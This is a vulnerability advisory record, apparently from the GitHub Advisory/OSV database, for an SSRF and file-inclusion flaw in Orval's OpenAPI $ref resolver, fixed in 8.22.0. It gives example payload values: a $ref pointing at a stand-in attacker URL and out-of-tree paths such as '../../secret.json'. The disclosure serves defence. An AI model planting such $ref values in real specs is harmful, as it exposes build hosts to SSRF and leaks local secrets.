{"id":"GHSA-cxq5-97v7-87j8","revision":"67bdcaff647a4f6d85223de59d561d90","records":[{"revision":"67bdcaff647a4f6d85223de59d561d90","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-cxq5-97v7-87j8","aliases":["CVE-2026-62680"],"title":"Orval: Generation-time SSRF + remote/local file inclusion via unrestricted $ref","description":"### Summary\n\nOrval resolves OpenAPI `$ref`s by fetching remote `http(s)` URLs and reading local files (including\nabsolute / out-of-tree paths), inlining the referenced schema into the generated client. Running\n`orval` on a spec whose `$ref` points at an attacker/internal URL or an arbitrary local file yields\nSSRF, remote file inclusion, and local file inclusion. Verified on 8.19.0. This is a different class\nfrom Orval's published output-injection CVEs (CVE-2026-22785/23947/24132/25141), none of which covers\nthe `$ref` resolver.\n\n### Details\n\n- `$ref: http://attacker/internal-evil.json#/...` → build host fetches (SSRF) and inlines the remote\n  schema (RFI); confirmed property `REMOTE_ORVAL_PROP` in the generated client.\n- `$ref: /abs/path.json#/...` or `../../secret.json#/...` → out-of-tree local file read + inlined (LFI).\n\nNo RCE: on 8.19.0 the description JSDoc is escaped (`*/`->`*\\/`, the published fix), so `$ref` content\ncannot break out into code. The chain stops at SSRF + RFI + LFI.\n\nFix: don't resolve remote `$ref`s by default (opt-in + host allowlist); confine local `$ref`\nresolution to the input directory tree (reject absolute paths and `../` escapes).\n\n### PoC\n\n`reproduce.sh` attached: confirms LFI (out-of-tree read), SSRF (listener hit), RFI (remote schema\ninlined). Verified on Orval 8.19.0.\n\n### Impact\n\nBuild-time SSRF from the developer or CI host, disclosure of arbitrary local files, and inclusion of untrusted remote content, from running the generator on an attacker-controlled or attacker-influenced OpenAPI description. No code execution (output escaping is in place post the earlier fixes).","state":0,"publishedAt":"2026-09-02T14:54:48+00:00","modifiedAt":"2026-09-02T15:00:08.9720259+00:00","affected":[{"ecosystem":"npm","name":"orval","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"8.22.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/orval-labs/orval/security/advisories/GHSA-cxq5-97v7-87j8","https://nvd.nist.gov/vuln/detail/CVE-2026-62680","https://github.com/orval-labs/orval/pull/3692","https://github.com/orval-labs/orval/pull/3723","https://github.com/orval-labs/orval/commit/23786c056f4eba38c02bf2968677988dbbe4de10","https://github.com/orval-labs/orval/commit/8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6","https://github.com/orval-labs/orval","https://github.com/orval-labs/orval/releases/tag/v8.22.0"],"sourceUrl":"https://github.com/advisories/GHSA-cxq5-97v7-87j8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-cxq5-97v7-87j8","identifiers":["GHSA-cxq5-97v7-87j8","CVE-2026-62680"]},"retained":false,"historicalAffected":[]}],"coverage":[]}